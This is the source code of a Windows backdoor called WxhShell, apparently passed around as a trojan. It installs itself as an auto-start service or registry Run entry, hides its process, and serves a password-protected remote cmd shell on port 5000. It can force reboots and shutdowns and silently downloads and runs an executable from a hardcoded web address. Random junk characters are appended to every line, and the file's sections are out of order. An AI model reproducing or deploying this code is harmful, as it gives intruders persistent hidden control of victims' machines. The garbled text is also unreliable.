    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); O=LiCSNEV  
    if(Boot(SHUTDOWN)) >u)DuZXj  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ehCZhi~  
    else { uk)6%  
    closesocket(wsh); =u^{Jvl[  
    ExitThread(0); Sd0y=!Pj=  
    } v%6mH6V  
    break; :n t\uwh  
    } g9$P J:  
  // 获取shell hy?e?^  
  case 's': { kbF+aS  
    CmdShell(wsh); NDv_@V(D  
    closesocket(wsh); lq%6~va  
    ExitThread(0); gvx {;e  
    break; GE0,d  
  } etHkyF  
  // 退出 JIobs*e0m  
  case 'x': { x\m?*5p  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); r-+S^mOE]  
    CloseIt(wsh); 9/x_p;bI  
    break; N=X(G(  
    } eGJ}';O,g  
  // 离开 W7ffdODb  
  case 'q': { 7<ZCeM2x  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ;0!rq^JG  
    closesocket(wsh); {_{&t>s2  
    WSACleanup(); cqyrao3;  
    exit(1); )(&WhZc Z  
    break; yj+HU5L4  
        } (GNY::3  
  } )]?"H  
  } |{8eoF  
LBkAi(0rd  
  // 提示信息 Vg+jF!\7  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :)9 ^T<  
}  @aC2]  
  } %!;6h^@  
edW:(19}  
  return; [qEd`8V (  
} 5yhfCe m|  
 h'_@  
// shell模块句柄 1tNmiAu  
int CmdShell(SOCKET sock) [$D4U@mRp  
{ mCY+V~^~kz  
STARTUPINFO si; 1ukCH\YgU  
ZeroMemory(&si,sizeof(si)); eT|"6WJ:{  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; [H!8m7i;  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; JTxHM?/G  
PROCESS_INFORMATION ProcessInfo; N){/#3  
char cmdline[]="cmd"; bz=B&YR  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 8+irul{H_  
  return 0; 5ma*&Q8+  
} A]FjV~PB  
#q5 L4uM9  
// 自身启动模式 @zHTKi`  
int StartFromService(void) ?+WSYg0  
{ ,X2CV INb}  
typedef struct ?_+h+{/@B  
{ 3]iBX`Ni  
  DWORD ExitStatus; *&\fBi]  
  DWORD PebBaseAddress;  #)r  
  DWORD AffinityMask; {J}Zv5  
  DWORD BasePriority; }gr6naz  
  ULONG UniqueProcessId; UUF;Q0X  
  ULONG InheritedFromUniqueProcessId; iw$n*1M  
}   PROCESS_BASIC_INFORMATION; ;6?VkF  
'z=QV{ni  
PROCNTQSIP NtQueryInformationProcess; Y_}DF.>I P  
9Xu O\+z  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; *{y/wgX  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; >J \}&!8,  
PJCRvs|X  
  HANDLE             hProcess; V_SZp8  
  PROCESS_BASIC_INFORMATION pbi; i8tH0w/(M  
$g?`yE(K  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 3%JPJuNVw  
  if(NULL == hInst ) return 0; )$Erfu  
Q0}Sju+HX  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); YMSA[hm  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); wd/"! A4(  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 5GP,J,J  
h zh%ML3L  
  if (!NtQueryInformationProcess) return 0; %:P&! F\?  
d4h, +OU  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 6uU2+I  
  if(!hProcess) return 0; TzCNY@y  
m),3J4(q  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; BAq@H8*B  
3+%c*}KC~  
  CloseHandle(hProcess); "2}E ARa  
RK*ZlD<  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); dh~+0FZ{A  
if(hProcess==NULL) return 0; tWNz:V  
!]W}I  
HMODULE hMod; 5jpb`Axj#  
char procName[255]; f/r@9\x  
unsigned long cbNeeded; p&:(D=pIu  
RSNukg  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Mpm#a0f  
"uz}`G~O  
  CloseHandle(hProcess); ZkyH<Aa  
}538vFNi  
if(strstr(procName,"services")) return 1; // 以服务启动 6+MZ39xC  
gZFtV  
  return 0; // 注册表启动 H^N@fG<*dh  
} Z.Sq5\d  
kO]],Vy`  
// 主模块 @ y (9LSs  
int StartWxhshell(LPSTR lpCmdLine) 6<h?%j(  
{ v\Y362Xv  
  SOCKET wsl; }#[MV+D  
BOOL val=TRUE; 7yU<!p?(  
  int port=0; ?0Qm  
  struct sockaddr_in door; )1>fQ9   
Kh!h_  
  if(wscfg.ws_autoins) Install(); tr]=q9  
YlZe  
port=atoi(lpCmdLine); }NQ {S3JW  
QT;mCD=OD  
if(port<=0) port=wscfg.ws_port; _VeZ lk7 k  
Kw%n;GFl'  
  WSADATA data; Hw1<! Dyv  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; a8#6}`|C?  
^_5Nh^  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   .,C8ASfh  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); }}";)}C`  
  door.sin_family = AF_INET; PKT/U^2X]  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); (W7cQ>  
  door.sin_port = htons(port); A.!V*1h{  
![wV}. }  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 7>g^OE f  
closesocket(wsl); PD$g W`V  
return 1; PXZ ZPW/  
} d$uh .?F5  
(f^K\7HM  
  if(listen(wsl,2) == INVALID_SOCKET) { n$*'J9W~  
closesocket(wsl); VQr)VU=jb  
return 1; :EISms  
} ?mK`Wleh?  
  Wxhshell(wsl); Ip/_uDi+!Z  
  WSACleanup(); Z/-!-  
pU4 B6KTW  
return 0; O\64)V 0  
k{/2vV[`]  
} {xm^DT  
+gG6(7&+=  
// 以NT服务方式启动 Mh04O@"  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) aj1o   
{ >Lh+(M;+F  
DWORD   status = 0; 'J&&F2O%  
  DWORD   specificError = 0xfffffff; .=WsB@+   
!5rja-h  
  serviceStatus.dwServiceType     = SERVICE_WIN32; `TM[7'  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; :nuMakZZ  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; w6k\po=  
  serviceStatus.dwWin32ExitCode     = 0; {iGk~qN  
  serviceStatus.dwServiceSpecificExitCode = 0; 2=3pV!)4}  
  serviceStatus.dwCheckPoint       = 0; IK%fX/tDyc  
  serviceStatus.dwWaitHint       = 0; =?U"#a  
69U[kW&  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); q M( n]{H  
  if (hServiceStatusHandle==0) return; k%iZ..  
C:77~f-+rQ  
status = GetLastError(); \:cr2w'c  
  if (status!=NO_ERROR) a'f0Wv0%"  
{ 7-nz'-'  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Zh?1+Sz&  
    serviceStatus.dwCheckPoint       = 0; . Q3GA0O  
    serviceStatus.dwWaitHint       = 0; <lHelX=/  
    serviceStatus.dwWin32ExitCode     = status; V9:h4]  
    serviceStatus.dwServiceSpecificExitCode = specificError; fr~e!!$H  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); nRpZ;X)'.  
    return; ?@"B:#l  
  } #GBe=tm\K  
CD\k.  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ]XX8l:+  
  serviceStatus.dwCheckPoint       = 0; &J~vXk: !  
  serviceStatus.dwWaitHint       = 0; YYrXLt:  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); t_@xzt10y  
} 'H0b1t1S%  
1LTl=tS#  
// 处理NT服务事件,比如:启动、停止 F&r+"O)^-R  
VOID WINAPI NTServiceHandler(DWORD fdwControl) J1I"H<}-6  
{ 8iTX}$t\{  
switch(fdwControl) mOj6 4}_`"  
{ *@J  
case SERVICE_CONTROL_STOP: <(Ub(  
  serviceStatus.dwWin32ExitCode = 0; mmrx*sr=  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; &j}\ZD  
  serviceStatus.dwCheckPoint   = 0; M6E.!Cs  
  serviceStatus.dwWaitHint     = 0; @Oe!*|?mS  
  {  Py$*c  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); $O*rxQ}  
  } %k8} IBL  
  return; a9 =,P  
case SERVICE_CONTROL_PAUSE: r2A(GUz  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; c?i=6C dD'  
  break; 73?ZB+\)0A  
case SERVICE_CONTROL_CONTINUE: ^ q]BCOfJ(  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; GWZ0!V  
  break; 41y}n{4n8  
case SERVICE_CONTROL_INTERROGATE: k'uN2m  
  break; 5_U3Fs  
}; vmI]N  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); _5I" %E;S  
} } FcWzi  
| fAt[e_E  
// 标准应用程序主函数 4e d+'-"m  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) %C*oy$.  
{ q^],K'  
j[ !'l,I  
// 获取操作系统版本 Fy N@mX  
OsIsNt=GetOsVer(); s8T} ah!  
GetModuleFileName(NULL,ExeFile,MAX_PATH); DXj_\ R(}  
/[YH  W]  
  // 从命令行安装 M9{?gM9  
  if(strpbrk(lpCmdLine,"iI")) Install(); Ob+L|FbnN  
EB'(%dH  
  // 下载执行文件 tp2CMJc{L  
if(wscfg.ws_downexe) { ;\=W=wL(  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) hv 18V>8  
  WinExec(wscfg.ws_filenam,SW_HIDE); * ";A~XNx  
} M$L1!o1Xf  
^g`1SU`  
if(!OsIsNt) { 0R~{|RHM  
// 如果时win9x,隐藏进程并且设置为注册表启动 #z{9:o7[-  
HideProc(); {.tUn`j6V  
StartWxhshell(lpCmdLine); YC\~PVG  
} hPt(7E2ke~  
else <7TE[M'  
  if(StartFromService()) 5KJN](x+  
  // 以服务方式启动 Rt{qbM|b&  
  StartServiceCtrlDispatcher(DispatchTable); yu~~"Rq)  
else W!g'*L/#L  
  // 普通方式启动 BgLK}p^  
  StartWxhshell(lpCmdLine); kKnz F  
SesJg~8  
return 0; n0#HPI"  
} ;wCp j9hir  
q: . URl  
:`6E{yfM  
H XF5fs  
=========================================== "FI]l<G&  
GkjTE2I3  
v|~ yIywf  
SEQ bw](ss  
{q%&~  
QSf{V(fs  
" I3o6ym-i  
S/pTFlptCa  
#include <stdio.h> n'ft@7>%h  
#include <string.h> 1lu _<?O  
#include <windows.h> zRsG$)B  
#include <winsock2.h> A<.`HCv2  
#include <winsvc.h> s<x2*yVUA  
#include <urlmon.h> ?}y?e}y*xZ  
<N^2|*3  
#pragma comment (lib, "Ws2_32.lib") ipfiarT~)  
#pragma comment (lib, "urlmon.lib") \:C@L&3[  
`V[{(&?,n  
#define MAX_USER   100 // 最大客户端连接数 +~RiCZt  
#define BUF_SOCK   200 // sock buffer b 8v?@s~  
#define KEY_BUFF   255 // 输入 buffer jI0gQ [  
$d.UF!s  
#define REBOOT     0   // 重启 1{R 1:`  
#define SHUTDOWN   1   // 关机 X.V7od>  
G&MI@Hq  
#define DEF_PORT   5000 // 监听端口 :.Vn  
XEM i~L+  
#define REG_LEN     16   // 注册表键长度 U}(*}Ut  
#define SVC_LEN     80   // NT服务名长度 8)3g!3S  
|RX u O  
// 从dll定义API lCg'K(|"  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); e"P>b? OY  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); xS]=WO*  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); aLTC#c%U  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); W>0 36  
c*ac9Y'o  
// wxhshell配置信息 G (Fi  
struct WSCFG { %c)^8k;I  
  int ws_port;         // 监听端口 k_.%(ZE  
  char ws_passstr[REG_LEN]; // 口令 " cx\P,<  
  int ws_autoins;       // 安装标记, 1=yes 0=no QcG4~DEX4  
  char ws_regname[REG_LEN]; // 注册表键名 PO5/j  
  char ws_svcname[REG_LEN]; // 服务名 <m"Zk k  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 mu0ER 3o  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 "<x%kD  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ^0ZabR'  
int ws_downexe;       // 下载执行标记, 1=yes 0=no r8rU+4\8<  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" K1 a$ m2  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 AjB-&Z  
-4{sr| lm  
}; o7E?A  
WjtmV2b<7  
// default Wxhshell configuration 8@ck" LUzD  
struct WSCFG wscfg={DEF_PORT, a=\r~Z7E  
    "xuhuanlingzhe", OF*m 9  
    1, 7HzO_u%H1  
    "Wxhshell", yhg^1l|t,  
    "Wxhshell", =dz  iR _  
            "WxhShell Service", Jj}+tQ f  
    "Wrsky Windows CmdShell Service", w=I8f}(  
    "Please Input Your Password: ", 5O<7<O B  
  1, E\&~S+:Xp  
  "http://www.wrsky.com/wxhshell.exe", gq4le=,v  
  "Wxhshell.exe" /<)A!Nn+F  
    }; `WSm/4 m  
|13UJ vR  
// 消息定义模块 @#$5_uU8\(  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; a,IE;5kG  
char *msg_ws_prompt="\n\r? for help\n\r#>"; uFNVV;~RFI  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; gtWJR  
char *msg_ws_ext="\n\rExit."; X*6bsYbK-  
char *msg_ws_end="\n\rQuit."; pq$`T|6^  
char *msg_ws_boot="\n\rReboot..."; vK z/-9im  
char *msg_ws_poff="\n\rShutdown..."; mnswG vY  
char *msg_ws_down="\n\rSave to "; ,cD(s(6+  
y`!~JL*  
char *msg_ws_err="\n\rErr!"; 8V@ /h6-e,  
char *msg_ws_ok="\n\rOK!"; {H{u[XR[z  
nE#p Ry]  
char ExeFile[MAX_PATH]; gnF]m0LR  
int nUser = 0; .^0@^%Wi  
HANDLE handles[MAX_USER];  Ew1> m'  
int OsIsNt; `8xt!8Z$  
HM ;9%rtO  
SERVICE_STATUS       serviceStatus;  Svj%O(  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; @DG$  
6Pc3;X~  
// 函数声明 \zCT""'i  
int Install(void); =n|n%N4Y  
int Uninstall(void); /9<zG}:B  
int DownloadFile(char *sURL, SOCKET wsh); C5GO?X2  
int Boot(int flag); ;:NW  
void HideProc(void); `b 6j7  
int GetOsVer(void); ,,vl+Z <&  
int Wxhshell(SOCKET wsl); YNV4w{>FD  
void TalkWithClient(void *cs); 1:5jUUL8  
int CmdShell(SOCKET sock); -@f5d  
int StartFromService(void); /pni_-l*  
int StartWxhshell(LPSTR lpCmdLine); 9`eu&n@Z  
dq[X:3i  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); }DiMt4!ZC!  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 9B gR@b  
QQ^P IQj  
// 数据结构和表定义 v?Q&06PMRc  
SERVICE_TABLE_ENTRY DispatchTable[] = -:]_DbF  
{ swEE >=  
{wscfg.ws_svcname, NTServiceMain}, BMMWP   
{NULL, NULL} ?v?b%hK!;  
}; ~ _R 8; b  
0w[#`  
// 自我安装 60?/Z2w5  
int Install(void) 2;N)>[3*J  
{ *CG-F=  
  char svExeFile[MAX_PATH]; W,'30:#Fr7  
  HKEY key; H|&[,&M>  
  strcpy(svExeFile,ExeFile); w3oh8NRs_  
Ux5pw  
// 如果是win9x系统,修改注册表设为自启动 f&x7g.I  
if(!OsIsNt) { \UZlFE  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 2Ur9*#~kGp  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); DY| s |:d  
  RegCloseKey(key); {1a%CsCM  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { !0Hx1I<*x  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); :(gZ\q">k  
  RegCloseKey(key); 5{ ?J5  
  return 0; {z:aZ]QhKc  
    } T;jy2|mLo  
  } *V}T}nK7  
} M{:}.H<a  
else { _)AX/%^%  
##Jg>HL'  
// 如果是NT以上系统,安装为系统服务 xfYDjf :<  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Bo.< 4P  
if (schSCManager!=0) GSck^o2{  
{ ^i>Tm9vM  
  SC_HANDLE schService = CreateService $e>(M&9,  
  ( d'Cn] <  
  schSCManager, iupuhq$ ]  
  wscfg.ws_svcname, _Ec9g^I10  
  wscfg.ws_svcdisp, 4 XSEN ]F  
  SERVICE_ALL_ACCESS, Y#[jDS(ip  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , >drG,v0qh  
  SERVICE_AUTO_START, }',/~T6  
  SERVICE_ERROR_NORMAL, "`;$wA  
  svExeFile, ;VVKn=X=S=  
  NULL, :5`=9 _|  
  NULL, `a *_b9  
  NULL, 7OSk0%Q,  
  NULL, -DWyKR= j"  
  NULL oT9dMhx8  
  ); t2V|moG  
  if (schService!=0) w Q!C9Gp3e  
  { 9p| ;Hh:  
  CloseServiceHandle(schService); Z{<&2*  
  CloseServiceHandle(schSCManager); IpX.ube  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); [N] 5)n  
  strcat(svExeFile,wscfg.ws_svcname); S3Q^K.e?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { `1;m:,9  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); !kAjne8]d  
  RegCloseKey(key); E8$k}I  
  return 0; j0^%1  
    } [1Cs  
  } ry^FJyjW  
  CloseServiceHandle(schSCManager); "9Q @&C  
} ']]C zze  
} N$cm;G=]  
fGK=lT$  
return 1; >iE/t$%1  
} UEkn@^&bg  
K ?R* )_  
// 自我卸载 ep|>z#1  
int Uninstall(void) 6k569c{7  
{ v D"4aw  
  HKEY key; RRXnj#<g  
\9r1JP0  
if(!OsIsNt) { yDmNPk/  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { uO=yQ&  
  RegDeleteValue(key,wscfg.ws_regname); "gaurr3  
  RegCloseKey(key); k&TZ   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { q6R``  
  RegDeleteValue(key,wscfg.ws_regname); :!',o]"4,k  
  RegCloseKey(key); K+2sq+ 3q  
  return 0; 0^l)9zE  
  } &A}@@d  
} xLZJ[:gr  
} kBF.TGT[l  
else { F@4TD]E0^  
;!RS q'L1  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); V]4g- CS[  
if (schSCManager!=0) yiourR)H<  
{ . }#R  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); suo;+T=`I  
  if (schService!=0) rf}@16O$'  
  { WDr C  
  if(DeleteService(schService)!=0) { ~f:y^`+Q[  
  CloseServiceHandle(schService); {lNvKm)w  
  CloseServiceHandle(schSCManager); r .&<~x  
  return 0; q oA?  
  } _f^JXd,7v  
  CloseServiceHandle(schService); NoSq:e  
  } | DB7o+4  
  CloseServiceHandle(schSCManager); i!AFXVX  
} $-x@P9im  
} jFE1k(2e  
fv;3cxQp  
return 1; YTb/ LeuT  
} roiUVisq*  
Hj\iI p  
// 从指定url下载文件 VaV(+X  
int DownloadFile(char *sURL, SOCKET wsh) [.ya&E)x  
{ -}_X'h&"  
  HRESULT hr; NA=I7I@  
char seps[]= "/"; 3izGMH_`  
char *token; sN"JVJXi  
char *file; Ah_,5Z@&R  
char myURL[MAX_PATH]; 9i^dQV.U=  
char myFILE[MAX_PATH]; +1uAzm4SL  
\E}YtN#  
strcpy(myURL,sURL); }3%L3v&  
  token=strtok(myURL,seps); ^0x0 rY  
  while(token!=NULL) f*(W%#*|  
  { Q/u2Q;j>  
    file=token; 0`=>/Wr39  
  token=strtok(NULL,seps); DK6^\k][V  
  } xAZ-_}'tW  
 _klT  
GetCurrentDirectory(MAX_PATH,myFILE); e-@.+ f2CC  
strcat(myFILE, "\\"); sWG_MEbu  
strcat(myFILE, file); @.D1_A  
  send(wsh,myFILE,strlen(myFILE),0); f3[/zcm;  
send(wsh,"...",3,0); -g5o+RT@  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); xE{PsN1 X;  
  if(hr==S_OK) per$%;5E"  
return 0; *_qLLJg  
else c] '-:=  
return 1; 2oO&8:`tv  
@Yu=65h  
} >GV(\In  
)qq5WShMJ  
// 系统电源模块 mFGiysM  
int Boot(int flag) DI>SW%)>  
{ d?9b6k?  
  HANDLE hToken; /Wx({N'h$  
  TOKEN_PRIVILEGES tkp; Kw/7X[|'G  
BQOit.  
  if(OsIsNt) { P{2ue`w[  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 1:.I0x!  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ~uUN\qx52  
    tkp.PrivilegeCount = 1; QTC-W2t]  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; XCP/e p  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); D_)i%k\  
if(flag==REBOOT) { Yg~$1b@  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) A.8[FkiNmD  
  return 0; *)8!~Hs   
} 4?u<i=i  
else { w4<n=k  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) w>TlM*3D/  
  return 0; ]b+Nsr~  
} Szb#:C  
  } h!zev~u1)`  
  else { SNUq  
if(flag==REBOOT) { IEP^u `}  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) zP`&X:8  
  return 0; R?D c*,  
} ?l/$cO  
else { X+$IaLfCxD  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ~BbF:DS  
  return 0; y~r5KB6w  
} wk@S+Q  
} }2!=1|}  
JtbwY@R  
return 1; <rbzsn"a  
} zF7*T?3b"  
k^i\<@v  
// win9x进程隐藏模块 YqEB%Y~N+  
void HideProc(void) R2Y.s^  
{ C25EIIdRb  
vMHJgpd&j  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); sI OT6L^7  
  if ( hKernel != NULL ) X$0&tmum  
  { D=^|6}  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); i^Ip+J+[  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); kp=wz0#  
    FreeLibrary(hKernel); ?]]7PEee*  
  } 0;/},B[A  
 Qk)E:  
return; aS3Fvk0R{h  
} 1Y6DzWI  
[vNaX%o  
// 获取操作系统版本 ;) (F4  
int GetOsVer(void) ej;\a:JL  
{ 1${rQ9FIF  
  OSVERSIONINFO winfo; .dQEr~f#}  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 7,IH7l|G  
  GetVersionEx(&winfo); C?h}n4\B^?  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) aBblP8)8;K  
  return 1; 7O]$2  
  else 0Q)m>oL.  
  return 0;  IPDQ  
} ;X}!;S%K  
?}Y;/Lwx  
// 客户端句柄模块 6p)dO c3L  
int Wxhshell(SOCKET wsl) @ |^;d  
{ F4|U\,g  
  SOCKET wsh; U^~jB= =]  
  struct sockaddr_in client; N_Q\+x}zq  
  DWORD myID; \ 0J &^C  
8Rric[v  
  while(nUser<MAX_USER) RbN# dI'  
{ 9J(jbJ7p  
  int nSize=sizeof(client); Pq<]`9/w^w  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); )ePQN~#K}  
  if(wsh==INVALID_SOCKET) return 1; lG/h[  
6b7SA ,  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); KwxO%/-}S  
if(handles[nUser]==0) AD0pmD  
  closesocket(wsh); cd3;uB4\,  
else ZGgM- O1  
  nUser++; ]dU/;8/%  
  } uk<JV*R=  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); _I<LB0kgf.  
Ef"M e(  
  return 0; /s|4aro  
} +)U>mm,  
&Z%|H>+;T  
// 关闭 socket tjWf`#tH>H  
void CloseIt(SOCKET wsh) Z%9_vpWc  
{ rI;84=v2&9  
closesocket(wsh); %7 [ Z/U=  
nUser--; -d8U Hc  
ExitThread(0); 2r*Yd(e  
} .{ -C*  
K)_DaTmi)  
// 客户端请求句柄 j3_vh<U\  
void TalkWithClient(void *cs) /{sFrEMP\  
{ n*nsFvt%o  
 WgayH  
  SOCKET wsh=(SOCKET)cs; xwe^_7  
  char pwd[SVC_LEN]; 01&J7A2  
  char cmd[KEY_BUFF]; )2dTgvy  
char chr[1]; #57D10j  
int i,j; ;'7gg]  
WJs2d73Qp  
  while (nUser < MAX_USER) { 72akOx   
])D39  
if(wscfg.ws_passstr) { 79G& 0 P\  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 6ntduXeNVh  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ]zUvs6ksLG  
  //ZeroMemory(pwd,KEY_BUFF); g|V md  
      i=0; HTw7l]]  
  while(i<SVC_LEN) { kY.3x# w  
T$vDw|KSVP  
  // 设置超时 M_Z(+k{Gy  
  fd_set FdRead; %D $+Z(  
  struct timeval TimeOut; ]<g`rR7}  
  FD_ZERO(&FdRead); #z&@f  
  FD_SET(wsh,&FdRead); z]33_[G1U  
  TimeOut.tv_sec=8; @yxF/eeEy+  
  TimeOut.tv_usec=0; U%T{~f  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Xm I63W*  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); yf@DaIG  
 Unc_e  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `p\@b~GM  
  pwd=chr[0]; Lq cHsUFj  
  if(chr[0]==0xd || chr[0]==0xa) { Di>B:=  
  pwd=0; /+g)J0u  
  break; Lcow2 SbH  
  } A{,ZfX;SPO  
  i++;  PH6NU&H  
    } au~}s |#  
~uRL+<.c  
  // 如果是非法用户,关闭 socket 9f7T.}HM  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); \$[; d:9j  
} ]aqg{XdGt  
= k7}[!T  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); TL*8h7.(  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); oJ`cefcWo  
G}ccf%  
while(1) { 'pQ\BH  
wD|I^y;  
  ZeroMemory(cmd,KEY_BUFF); =lG/A[66  
{(j1#9+9  
      // 自动支持客户端 telnet标准   y>jP]LR4  
  j=0; b 9cY  
  while(j<KEY_BUFF) { ie9,ye"  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Kh,zp{  
  cmd[j]=chr[0]; 1?hx/02  
  if(chr[0]==0xa || chr[0]==0xd) { %9Y3jB",2  
  cmd[j]=0; dRu|*s  
  break; G ;fc8a[X  
  } ae-hQF&  
  j++; i3v|r 0O~L  
    } TF7~eyLg  
7'1 +i  
  // 下载文件 jt,dr3|/n  
  if(strstr(cmd,"http://")) { X\ bXat+  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Uk@'[_1z  
  if(DownloadFile(cmd,wsh)) V3t;V-Lkt  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); nLcOz3h  
  else K%iA-h  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); KVA~|j B  
